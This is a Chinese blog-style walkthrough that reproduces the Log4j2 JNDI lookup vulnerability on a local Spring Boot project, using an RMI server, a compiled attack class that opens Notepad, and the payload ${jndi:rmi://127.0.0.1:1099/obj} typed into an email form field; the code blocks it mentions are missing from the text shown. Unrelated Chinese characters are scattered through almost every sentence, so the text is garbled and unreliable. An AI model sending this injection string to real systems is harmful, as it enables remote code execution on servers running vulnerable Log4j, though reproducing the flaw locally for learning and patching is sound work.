前言
注:本文僅供參考學(xué)習(xí),不構(gòu)成任何犯罪引導(dǎo)
相信就在最近兩天塞俱,不少IT圈的都在因?yàn)長og4j2,忙前忙后排查項(xiàng)目吧吏垮?
寫JAVA的都知道障涯,Log4j是用來記錄日志的,它的覆蓋率之廣以至于此次受影響的范圍可以說是核彈級(jí)別的影響了膳汪。
這個(gè)漏洞其實(shí)是取決于Log4j的一種Lookup機(jī)制唯蝶,就是當(dāng)我們做日志輸出,出現(xiàn)占位符的時(shí)候遗嗽,通過一些特殊的命令符號(hào)粘我,可以執(zhí)行一些程序代碼。
接下來我們就來復(fù)現(xiàn)所謂的Log4j2是如何執(zhí)行攻擊的,這里博主用本地的項(xiàng)目來給大家復(fù)現(xiàn)一下征字。
環(huán)境準(zhǔn)備
由于博主的本地項(xiàng)目springBoot版本會(huì)自動(dòng)引入spring-boot-starter-logging依賴,首先我們要對(duì)其去除,如下:
其次是引入我們的Log4j依賴包此洲,注:受影響的范圍為Apache Log4j 2.x <= 2.14.1
其次番宁,配置我們的Log4j.xml,就是一個(gè)最簡單的輸出配置氮昧,代碼如下:
至此漏洞的執(zhí)行環(huán)境就已經(jīng)配置完畢了框杜。
攻擊代碼準(zhǔn)備
一、攻擊服務(wù)準(zhǔn)備
博主在本地新建一個(gè)項(xiàng)目郭计,并編寫如下代碼霸琴,編寫完畢以后執(zhí)行即可。
如上代碼塊中Attack就是我們要執(zhí)行的攻擊代碼昭伸。
啟動(dòng)完成以后就可以一直掛載我們待會(huì)使用梧乘。
二、攻擊代碼準(zhǔn)備
攻擊代碼Attack是一個(gè)被編譯好了的Java文件庐杨,也就是一個(gè)Class文件选调。
我們將編譯好的攻擊class文件放在nginx目錄下,純編譯文件灵份,不帶你IDEA的路徑仁堪。如下圖:
攻擊代碼如下,不做真正的攻擊填渠,就簡單打開一個(gè)記事本弦聂。代碼如下:
將此代碼編譯完成以后的class文件放進(jìn)目錄即可。
三氛什、修改本地項(xiàng)目業(yè)務(wù)代碼
我們將本地項(xiàng)目的代碼修改為由log4j打印日志輸出莺葫,這里博主選用的是《雜貨鋪項(xiàng)目》中注冊(cè)界面的郵箱驗(yàn)證時(shí),使用log4j去輸出日志枪眉。具體代碼如下:
如上代碼捺檬,我們?yōu)楹我O(shè)置System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”); ?
這是因?yàn)镴DK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始java.rmi.server.useCodebaseOnly默認(rèn)配置已經(jīng)改為true贸铜,不用自行設(shè)置堡纬。
但是JDK 6u132, JDK 7u122, JDK 8u113開始com.sun.jndi.rmi.object.trustURLCodebase默認(rèn)值已改為了false。
這里博主用的JDK版本較高蒿秦,所以必須手動(dòng)設(shè)置一下烤镐,如果你的JDK版本較低的話可以忽略。
至于具體原因以及它的作用感興趣的可以自行了解一下棍鳖。
攻擊效果展示
在郵箱輸入框中炮叶,我們輸入如下參數(shù),${jndi:rmi://127.0.0.1:1099/obj} ,然后點(diǎn)擊發(fā)送驗(yàn)證碼悴灵。
執(zhí)行結(jié)果展示為:
項(xiàng)目日志打印
我們?cè)賮砜纯丛陧?xiàng)目中的日志扛芽,你會(huì)驚訝地發(fā)現(xiàn),攻擊程序已經(jīng)在你的項(xiàng)目中執(zhí)行了积瞒!
想了解更多編程基礎(chǔ)知識(shí)便于理解各種代碼和程序可以戳教學(xué)視頻繼續(xù)學(xué)習(xí)
結(jié)語
如上原理川尖,攻擊者在攻擊代碼中可以編寫任意攻擊代碼,在對(duì)應(yīng)環(huán)境下的任何線上JAVA且使用了Log4j2的項(xiàng)目中執(zhí)行茫孔,你說叮喳,恐怖不恐怖?